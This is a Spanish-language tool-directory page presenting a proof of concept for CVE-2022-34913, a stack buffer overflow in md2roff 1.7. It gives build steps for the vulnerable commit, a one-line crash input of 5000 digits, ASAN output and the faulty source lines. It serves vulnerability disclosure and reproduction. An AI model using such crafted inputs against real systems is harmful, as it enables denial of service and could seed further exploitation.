Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-34913 — Prueba de concepto para CVE-2022-34913 | Kitploit
Herramientas/GitHubGitHub/halcy0nic/cve-2022-34913
Análisis de VulnerabilidadesExplotaciónFuzzingPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubhalcy0nic/cve-2022-34913

CVE-2022-34913

Prueba de concepto para CVE-2022-34913

Ver Repositorio
1hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Descripción de CVE-2022-34913

md2roff 1.7 sufre un desbordamiento de búfer basado en pila mediante un archivo Markdown que contiene una gran cantidad de caracteres consecutivos por procesar.

Reproducción

Para reproducir la vulnerabilidad, debemos descargar una versión vulnerable de md2roff (versión 1.7):

root@kitploit:~
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 7fc373d25c91422454f081c8a717222d77fd7add
make

Una vez compilado el proyecto, podemos comenzar creando un archivo Markdown malicioso con un gran búfer de caracteres ascii:

root@kitploit:~
python3 -c 'print("1"*5000)' > poc.md

Ahora podemos apuntar md2roff a nuestro archivo Markdown malicioso e invocar un fallo:

root@kitploit:~
./md2roff poc.md

La ejecución del comando anterior producirá un segfault:

root@kitploit:~
segmentation fault  ./md2roff poc.md

Para comprender mejor dónde se está produciendo el desbordamiento, recompilemos el proyecto con address sanitizer (ASAN) añadiendo -fsanitize=address a la variable CFLAGS del Makefile. También queremos que el compilador almacene la información de la tabla de símbolos en el ejecutable (flag -g) para ayudarnos a determinar qué línea de código provocó el fallo:

root@kitploit:~
CFLAGS = -std=c99 -fsanitize=address -g

A continuación, limpiaremos los archivos obsoletos y recompilaremos el proyecto:

root@kitploit:~
make clean
make

La salida de ASAN nos muestra que el código fuente vulnerable se encuentra en md2roff.c, línea 1095:

root@kitploit:~
==180298==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdddcce7e0 at pc 0x556b5ebc39da bp 0x7ffdddcce5e0 sp 0x7ffdddcce5d8
WRITE of size 1 at 0x7ffdddcce7e0 thread T0
    #0 0x556b5ebc39d9 in md2roff /dev/shm/md2roff/md2roff.c:1095
    #1 0x556b5ebc620f in main /dev/shm/md2roff/md2roff.c:1394
    #2 0x7f3576046189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7f3576046244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x556b5ebba3b0 in _start (/dev/shm/md2roff/md2roff+0x73b0)

Address 0x7ffdddcce7e0 is located in stack of thread T0 at offset 80 in frame
    #0 0x556b5ebbdb65 in md2roff /dev/shm/md2roff/md2roff.c:618

  This frame has 6 object(s):
    [32, 40) 'tt' (line 687)
    [64, 80) 'num' (line 1090) <== Memory access at offset 80 overflows this variable
    [96, 160) 'appname' (line 625)
    [192, 256) 'appsec' (line 625)
    [288, 352) 'appdate' (line 625)
    [384, 640) 'secname' (line 625)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /dev/shm/md2roff/md2roff.c:1095 in md2roff
Shadow bytes around the buggy address:
  0x10003bb91ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10003bb91cf0: 00 00 f1 f1 f1 f1 f8 f2 f2 f2 00 00[f2]f2 00 00
  0x10003bb91d00: 00 00 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
  0x10003bb91d10: 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
  0x10003bb91d20: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91d40: 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==180298==ABORTING

Código fuente vulnerable:

root@kitploit:~
1093:    n = num;
1094:    while ( isdigit(*p) )
1095:        *n ++ = *p ++;

Referencias

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34913
  • https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
Descargar herramienta